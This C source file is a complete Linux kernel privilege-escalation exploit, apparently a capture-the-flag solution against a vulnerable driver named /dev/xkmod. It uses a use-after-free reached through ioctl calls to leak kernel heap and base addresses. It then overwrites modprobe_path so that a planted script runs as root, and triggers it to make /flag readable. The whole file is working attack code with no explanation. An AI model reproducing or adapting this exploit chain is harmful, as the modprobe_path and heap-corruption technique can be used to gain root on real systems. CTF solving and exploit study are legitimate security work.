#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#define MODPROBE_PATH 0xffffffff82444700
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
};
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void allocBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void editBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void readBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp)
{
int dev_fd[5], root_script_fd, flag_fd;
size_t kernel_heap_leak, kernel_text_leak;
size_t kernel_base, kernel_offset, page_offset_base;
char flag[0x100];
struct Data data;
/* fundamental works */
bindCore(0);
for (int i = 0; i < 5; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
/* create fake modprobe_path file */
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
/* construct UAF */
data.ptr = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.ptr, 0, 0x1000);
allocBuf(dev_fd[0], &data);
editBuf(dev_fd[0], &data);
close(dev_fd[0]);
/* leak kernel heap addr and guess the page_offset_base */
readBuf(dev_fd[1], &data);
kernel_heap_leak = data.ptr[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);
/* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
puts("[*] leaking kernel base...");
data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.length = 8;
editBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
data.length = 0x40;
readBuf(dev_fd[1], &data);
if ((data.ptr[2] & 0xfff) != 0x30) {
printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
}
kernel_base = data.ptr[2] - 0x30;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);
/* hijack the modprobe_path, we'll let it requesting new slub page for it */
puts("[*] hijacking modprobe_path...");
allocBuf(dev_fd[1], &data);
close(dev_fd[1]);
data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.length = 0x8;
editBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
data.length = 0x30;
editBuf(dev_fd[2], &data);
/* trigger the fake modprobe_path */
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
/* read flag */
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
errExit("failed to chmod flag!");
}
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
return 0;
}